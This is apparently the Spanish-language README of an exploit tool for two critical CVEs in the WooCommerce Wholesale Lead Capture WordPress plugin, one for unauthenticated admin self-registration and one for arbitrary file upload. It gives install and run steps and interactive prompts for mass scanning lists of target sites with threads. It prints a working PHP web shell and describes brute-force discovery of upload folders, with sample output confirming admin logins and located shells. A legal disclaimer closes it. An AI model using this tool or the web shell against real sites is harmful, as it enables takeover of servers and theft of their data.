
Privilegio no autenticado | Carga arbitraria de archivos no autenticada
Descripción:
El complemento WooCommerce Wholesale Lead Capture para WordPress es vulnerable a la escalada de privilegios no autenticada en todas las versiones afectadas conocidas. La vulnerabilidad existe dentro del manejador de acción AJAX wwlc_create_user, que procesa solicitudes de registro de usuario sin sanear ni validar adecuadamente los campos de rol suministrados por el usuario. Un atacante remoto no autenticado puede crear una solicitud POST especialmente formada que inyecte campos de capacidad arbitrarios de WordPress — incluido wp_capabilities[administrator] — directamente en los metadatos del usuario en el momento de la creación de la cuenta. Esto permite al atacante auto-registrarse como administrador de WordPress sin ninguna autenticación previa ni interacción de un usuario legítimo, lo que resulta en el compromiso total de la instalación de WordPress afectada.
Descripción:
El complemento WooCommerce Wholesale Lead Capture para WordPress es vulnerable a la subida arbitraria de archivos no autenticada en todas las versiones afectadas conocidas. La vulnerabilidad reside en la acción AJAX wwlc_file_upload_handler, que está registrada sin ningún requisito de autenticación ni verificación de nonce. Al enviar una solicitud POST multipart manipulada a /wp-admin/admin-ajax.php, un atacante remoto no autenticado puede subir archivos de tipo arbitrario — incluidos shells web PHP — al directorio wp-content/uploads/ del servidor bajo un subdirectorio wwlc-temp-* generado dinámicamente. La explotación exitosa conduce a la ejecución remota de código (RCE) en el servidor web subyacente, que opera bajo la cuenta de usuario del proceso web.
Este es un script de explotación de Prueba de Concepto (PoC) para las dos vulnerabilidades críticas descritas anteriormente, dirigido a instalaciones de WordPress que ejecutan el complemento WooCommerce Wholesale Lead Capture. La herramienta admite dos modos de ataque independientes:
| Modo | Tipo de ataque | Objetivo |
|---|---|---|
| Modo 1 | Subida arbitraria de archivos no autenticada + descubrimiento de carpetas por fuerza bruta | Subir un shell web PHP y localizarlo mediante la adivinación de carpetas en múltiples capas |
| Modo 2 | Escalada de privilegios no autenticada mediante registro | Auto-registrarse como administrador de WordPress y verificar el acceso de administrador |
pip install requests urllib3 colorama
O instalar mediante el archivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clonar el repositorio
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Instalar dependencias
pip install -r requirements.txt
# Ejecutar la herramienta
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
La herramienta presenta una interfaz de terminal interactiva. Se le solicitarán todos los parámetros necesarios.
Cree un archivo de texto plano (por ejemplo, list.txt) con una URL de destino por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Ejemplo de archivo shell (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Nota: La carpeta
wwlc-temp-*es generada dinámicamente por el complemento usandouniqid('wwlc-temp-')de PHP. La herramienta utiliza una estrategia de fuerza bruta de múltiples capas para descubrirla:
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
La herramienta:
administrator| Archivo | Descripción |
|---|---|
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
Por: Nxploited (Khaled Alenazi)
ESTA HERRAMIENTA SE PROPORCIONA ÚNICAMENTE CON FINES EDUCATIVOS Y DE INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
El autor, Nxploited (Khaled Alenazi), y todos los colaboradores de este proyecto no aprueban, apoyan ni asumen ninguna responsabilidad por el mal uso de esta herramienta o por cualquier daño causado por el uso de este software contra sistemas para los cuales no se tiene autorización escrita explícita.
- ✅ Permitido: Usar en sistemas propios o para los cuales se haya recibido permiso escrito explícito para realizar pruebas.
- ❌ Prohibido: Usar contra cualquier sistema sin autorización escrita explícita previa del propietario del sistema.
El acceso no autorizado a sistemas informáticos es ilegal y se castiga según las leyes aplicables, incluidos, entre otros, la Ley de Fraude y Abuso Informático (CFAA), la Ley de Uso Indebido de Computadoras (CMA) y la legislación equivalente en todo el mundo.
Al usar esta herramienta, usted acepta la responsabilidad exclusiva de sus acciones y confirma que tiene la autoridad legal para probar los sistemas objetivo.
El autor no asume ninguna responsabilidad por daños directos, indirectos, incidentales o consecuentes que surjan del uso o mal uso de este software.
© 2026 Nxploited (Khaled Alenazi) — Solo para investigación de seguridad autorizada.
| Campo | Detalles |
|---|
| ID de CVE | CVE-2026-27542 |
| Gravedad | CRÍTICA — Puntuación CVSS v3.1: 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente afectado | Complemento WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de vulnerabilidad | Escalada de privilegios no autenticada |
| Autenticación requerida | Ninguna |
| CWE | CWE-269: Gestión inadecuada de privilegios |
| Campo | Detalles |
|---|
| ID de CVE | CVE-2026-27540 |
| Gravedad | CRÍTICA — Puntuación CVSS v3.1: 9.8 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente afectado | Complemento WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de vulnerabilidad | Subida arbitraria de archivos no autenticada (que conduce a la ejecución remota de código) |
| Autenticación requerida | Ninguna |
| CWE | CWE-434: Carga sin restricciones de archivos con tipo peligroso |
| Capa | Estrategia | Descripción |
|---|
| 0 | Listado de directorios | Intenta listar el directorio de subidas si está abierto |
| 1 | Basada en patrones | Adivinaciones numéricas secuenciales y derivadas del tiempo |
| 2 | Hex basado en tiempo | Sembrada por las marcas de tiempo de las solicitudes HTTP observadas |
| 3 | Hex aleatorio | Adivinación de cadenas hex aleatorias puras |
scan_results/wwlc_uploads.txt |
| Todos los sitios donde la subida de archivos fue exitosa (Modo 1) |
scan_results/wwlc_shells_found.txt | URLs completas de shells que se confirmaron accesibles (Modo 1) |
scan_results/wwlc_register_results.txt | Todos los resultados de intentos de registro con credenciales (Modo 2) |
scan_results/Admin_login.txt | Aciertos de inicio de sesión de administrador confirmados con credenciales (Modo 2) |